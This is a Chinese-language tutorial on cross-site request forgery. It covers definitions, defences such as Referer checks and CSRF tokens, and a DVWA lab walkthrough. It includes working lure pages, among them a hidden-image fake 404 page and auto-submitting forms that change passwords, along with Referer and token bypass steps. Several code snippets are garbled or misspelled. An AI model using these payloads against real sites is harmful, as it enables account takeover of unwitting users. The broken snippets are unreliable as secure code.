[Web安全 网络安全]-CSRF跨站请求伪造
文章目录:
一:前言
1.定义
2.攻击原理
3.危害
4.环境
4.1 靶场
4.2 扫描工具
6.CSRF与XSS的区别
二:构建CSRF的payload
GET请求:a标签 img标签
POST请求:form表单
三:防御方法
1.验证Referer
3.验证随机CSRF-token
4.增加验证流程/二次验证
四:DVWA靶场CSRF练习
Low级别
Medium级别
High级别
一:前言
1.定义
跨站请求伪造 (Cross-Site Request Forgery, CSRF),也被称为 One Click Attack 或者 Session Riding ,通常缩写为CSRF,是一种对网站的恶意利用 尽管听起来像XSS,但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站也叫做点击攻击,必须有人点击它(处于登录状态),需要靠其他的漏洞来触发它,不然不能成功 也可以不点击,通过JS代码自动加载触发 主要是因为程序员开发的时候,未对请求比如token和REFERER等进行参数判断,造成攻击者可构造自己的URL地址欺骗目标用户进行点击可以理解为:CSRF攻击者盗用你的身份,以你的名义发送恶意请求,对服务器来说请求是完全合法的但是却完成了攻击者所期望的操作,比如以你的名义发送邮件、信息、盗取你的账号、添加系统管理员、购买商品、转账等
2.攻击原理
1.CSRF的攻击建立在浏览器与web服务器的会话之中2.欺骗用户访问URL链接
3.危害
修改密码、修改个人信息 点赞、关注、评论、留言、转发、收藏、浏览、动态 添加用户(超级管理员)数据库备份数据交易、支付对话框钓鱼页面和其他攻击手段配合
4.环境
4.1 靶场
DVWA:(Damn Vulnerable Web Application)是一个专为安全专业人员、开发人员和学生设计的网络安全靶场
pikachu:带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞 可参考:分享1
4.2 扫描工具
Burp Suite、CSRFTester
5.cookie session token的区别
Cookie、Session和Token在Web开发中常用于处理用户会话和状态管理,它们之间存在显著的区别
存储位置与方式Cookie:存储在客户端的浏览器中,以文本文件的形式存在。每次HTTP请求时,浏览器都会将Cookie发送到服务器,从而实现状态的保持Session:存储在服务器端,通常使用内存或数据库来保存用户的会话信息。客户端通过Session ID(通常通过Cookie或URL传递)与服务器端的Session进行关联Token:也存储在客户端,但通常以加密的方式存储在客户端的localStorage或sessionStorage中,或者以HTTP头部(如Authorization)的形式发送给服务器数据安全性Cookie:由于存储在客户端,容易被用户查看或篡改,因此敏感信息需要加密处理。同时,Cookie存在跨站请求伪造(CSRF)的风险Session:存储在服务器端,避免了敏感数据在客户端的暴露,提高了安全性。但Session ID可能通过Cookie或URL传递,存在被拦截的风险Token:通常采用加密算法生成,有效期较短且单向不可逆,具有较高的安全性。Token的验证过程不依赖于服务器端存储的用户信息,降低了被伪造的风险跨域支持Cookie:默认情况下不支持跨域传输,即不同域名下的Cookie不能相互访问。这有助于防止跨站脚本攻击(XSS)和CSRFSession:Session机制通常依赖于Cookie来保存Session ID,因此Session ID也不支持跨域。但可以通过其他方式(如URL重写)实现跨域Session共享Token:可以轻松实现跨域,因为Token是存储在客户端的localStorage或作为请求头的一部分发送到服务器的,不受域名限制状态管理Cookie:主要用于实现客户端的状态管理,通过存储临时数据来跟踪用户的状态Session:用于服务器端的状态管理,服务器为每个会话分配一个唯一的Session ID,并将其与用户状态相关联Token:主要用于无状态的身份验证和授权,它本身不包含用户的状态信息,而是通过验证用户的身份和权限来允许或拒绝访问使用场景Cookie:适用于存储少量的用户数据(如用户偏好设置),以及实现简单的用户登录状态保持Session:适用于需要服务器端存储大量用户状态信息的场景,如购物车、用户会话等Token:适用于需要高安全性、无状态的身份验证和授权的场景,如API接口访问、单点登录(SSO)等
6.CSRF与XSS的区别
原理不同CSRF:CSRF是一种利用用户已登录的身份,在用户不知情的情况下,以用户的名义向服务器发送请求的攻击方式这种攻击的关键在于伪造用户的请求,使其看起来像是由用户本人发起的合法请求XSS:XSS则是一种通过向Web页面中注入恶意脚本代码,当用户浏览该页面时,脚本代码会在用户的浏览器上执行,从而达到攻击用户的目的这种攻击方式主要利用了Web页面能够执行JavaScript等脚本语言的能力攻击目标不同CSRF:CSRF的攻击目标主要是用户,特别是那些已经登录并持有重要权限的用户攻击者通过伪造用户的请求,强制用户执行非本意的操作,如转账、修改密码等XSS:XSS的攻击目标则更为广泛,它既可以攻击用户(如窃取用户的Cookie信息),也可以攻击服务器(如通过注入的脚本代码向服务器发送恶意请求)实现方式不同CSRF:CSRF攻击通常不需要用户登录目标网站,因为攻击者可以利用用户在其他网站上的登录状态(如通过Cookie)来伪造请求攻击者可能会通过发送伪装成合法链接的URL,诱骗用户点击,从而触发攻击XSS:XSS攻击则需要攻击者将恶意脚本代码注入到目标网站的页面中这通常可以通过在网站的输入表单中提交包含恶意脚本的输入、在网站留言板或评论区发布包含恶意脚本的留言等方式实现防御措施不同CSRF:防御CSRF攻击的主要措施包括验证请求的来源(如检查HTTP Referer字段)、使用验证码、在HTTP请求中加入随机生成的token并验证等这些措施可以有效地防止攻击者伪造用户的请求XSS:防御XSS攻击的主要措施则包括对用户输入进行严格的过滤和转义,确保输入的数据不会被当作脚本代码执行此外,还可以使用内容安全策略(CSP)来限制Web页面可以加载的外部资源,从而减少XSS攻击的风险
二:构建CSRF的payload
GET请求:a标签 img标签
利用Burp抓包——>复制网址——>构建特殊页面1.html(可修改密码)
<html><head><title></title><!--CSS--><style></style><!--JS--><script></script></head><body><a href="http://192.168.18.115/lyb/user/updatePass.php?id=81&passwd=123&passwd=123&submit=%E6%9B%B0">点击立即和小姐姐聊天</a><img src="http://192.168.18.115/lyb/user/updatePass.php?id=81&passwd=123&passwd=123&submit=%E6%9B%B0" width="0" height="0"></body> </html>
POST请求:form表单
利用Burp抓包——>找到请求网址——>鼠标右键——>相关工具——>生产CSRF PoC——>构建特殊页面2.html(可修内容)
<html><head><title></title><!--CSS--><style></style><!--JS--><script></script></head><body><script>history.pushState('','','/')</script><form action="http://192.168.18.115/lyb/message/messageSub.php method="POST"><input type="hidden" name="message" value="66666"><input type="hidden" name="submit" value="•™¨€"><input type="submit" value="Submit request"></form></body> </html>
上面是手动点击的,也可以通过JS代码自动加载
<html><head><title></title><!--CSS--><style></style><!--JS--><script></script></head><body><script>window.onload=function(){document.getElemetById("postsubmit").click();}</script><form action="http://192.168.18.115/lyb/message/messageSub.php method="POST"><input type="hidden" name="message" value="66666"><input type="hidden" name="submit" value="•™¨€"><input id="postsubmit" type="submit" value="Submit request"></form></body> </html>
三:防御方法
1.验证Referer
验证HTTP Referer字段:检查HTTP请求中的Referer字段,确保请求来自可信的源。确定是用户自己触发的。然而,这种方法存在被绕过的风险(伪造文件名 文件夹包含 携带参数)
判断Referer里面是否包含Host里面的值Host:192.168.2.114Referer:http://192.168.2.114/dvwa/vulnerabilities.csrf/if(isset($_GET['Change'])){if(stripos($_SERVER['HTTP_REFERER'],$_SERVER['SERVER_NAME'])!==false){}}
2.cookie hashing
1.客户端对cookie计算哈希,一起发送给服务器<?php$hash=mod5($_COOKIE['cookie'])?>2.服务端收到cookie,计算哈希值,与收到的hash值进行笔记3.如果匹配成功,说明是验证了身份的客户端自己发起的请求<?phpif(isset($_POST['check'])){$hash=mod5($_COOKIE['cookie'])if($_POST['check']==$hash){}else}else?>
3.验证随机CSRF-token
在请求地址中添加token并验证:为每个敏感操作生成一个唯一的CSRF token,并将其作为请求的一部分发送给服务器。服务器在收到请求时验证CSRF token的有效性CSRF token标志数据字符串:确定请求是来源于用户自己授权过的,不是某个网址自己跳转的user_token里面的value值来源于服务器插入标记if(isset($_GET['Change'])){checkToken($_REQUEST['user_token'],$_SESSION['seeion_token'],'index.php')}BP工具 插件扩展:CSRF Token Tracker进行token先行追踪拿取
1.用户使用用户名密码登录,服务器下发一个随机的token字段,并且服务端把这个字段保存在session中session_start()if (empty($_SESSlON['token'])){$_SESSION['token']= bin2hex(random_bytes(32));}$token=$ SESSlON['token12.客户端把这个token保存起来,放到隐藏字段3.用户在登陆状态下,在之后访问的时候,都要携带这个token字段4.服务端从seesion中拿出token值进行对比,如果一致,说明请求合法if (!empty($_POST['token'])){if (hash_equals($_SESSlON['token'], $_POST['token'])){// 执行业务逻辑} else}5.用户退出,session销毁,token失效
4.增加验证流程/二次验证
验证码 短信 滑动拼图 文字点选 图形点选 空间语义 人脸识别
四:DVWA靶场CSRF练习
Low级别
源码分析:发现只是坐了密码比对,并没有其他认证,只需要输入的新密码和确认的新密码保持一致即可(New password Confirm new password)
<?phpif( isset( $_GET[ 'Change' ] ) ) {// Get input$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$current_user = dvwaCurrentUser();$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }?>
方法一:将地址栏中的两个密码改成123456
192.168.80.145/dvwa/valnerabilities/csrf/password_new=123456&&password_conf=123456&Change=Change#
方法二:恶意网页包含img标签(用户点击访问这个页面时,会以为访问的页面丢失了,但是当他打开这个页面时,用户的密码已经被修改)
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>错误</title></head><body><h1>404</h1><h1>无法正常访问</h1><a href="http://192.168.80.145/dvwa/vulnerabilities/csrf/?password_new=passwd&password_conf=passwd&Change=Change#" >点击跳转</a><img src="http://192.168.80.145/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display:none;"></body></html>
Medium级别
源码分析:stripos() 函数查找字符串在另一字符串中第一次出现的位置。
代码检查了变量HTTP_REFERER (http包头部的Referer字段的值,表示来源地址)是否包含SERVER_NAME(http包头部的 Host 字段表示要访问的主机名)
<?phpif( isset( $_GET[ 'Change' ] ) ) {// Checks to see where the request came fromif( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {// Get input$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$current_user = dvwaCurrentUser();$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}}else {// Didn't come from a trusted sourceecho "<pre>That request didn't look correct.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }?>
方法一:必须保证在Http请求中Referer字段中必须包含Host,将Host与Referer修改一致
Host:192.168.2.114Referer:http://192.168.2.114/dvwa/vulnerabilities.csrf/
方法二:修改Referer的值,改成localhost,再发送
Host:192.168.2.114Referer:localhost
方法三:文件夹名包含
方法四:文件名修改
方法五:参数携带
High级别
源码分析:这关在页面是能够正常修改密码,但是多了一个token验证,这就需要我们去绕过token
直接修改cook的安全等级绕过token认证机制
<?php$change = false; $request_type = "html"; $return_message = "Request Failed";if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {$data = json_decode(file_get_contents('php://input'), true);$request_type = "json";if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&array_key_exists("password_new", $data) &&array_key_exists("password_conf", $data) &&array_key_exists("Change", $data)) {$token = $_SERVER['HTTP_USER_TOKEN'];$pass_new = $data["password_new"];$pass_conf = $data["password_conf"];$change = true;} } else {if (array_key_exists("user_token", $_REQUEST) &&array_key_exists("password_new", $_REQUEST) &&array_key_exists("password_conf", $_REQUEST) &&array_key_exists("Change", $_REQUEST)) {$token = $_REQUEST["user_token"];$pass_new = $_REQUEST["password_new"];$pass_conf = $_REQUEST["password_conf"];$change = true;} }if ($change) {// Check Anti-CSRF tokencheckToken( $token, $_SESSION[ 'session_token' ], 'index.php' );// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);$pass_new = md5( $pass_new );// Update the database$current_user = dvwaCurrentUser();$insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . $current_user . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert );// Feedback for the user$return_message = "Password Changed.";}else {// Issue with passwords matching$return_message = "Passwords did not match.";}mysqli_close($GLOBALS["___mysqli_ston"]);if ($request_type == "json") {generateSessionToken();header ("Content-Type: application/json");print json_encode (array("Message" =>$return_message));exit;} else {echo "<pre>" . $return_message . "</pre>";} }// Generate Anti-CSRF token generateSessionToken();?>
方法一:Burp Suite抓包,发送到Repeater,security=high
security=low
方法二:BP工具插件扩展CSRF Token Tracker进行token先行追踪拿取
1.配置请求地址和请求参数2.勾选Syn requests based on the following rules3.发送到重发模块、修改值、Send发送数据包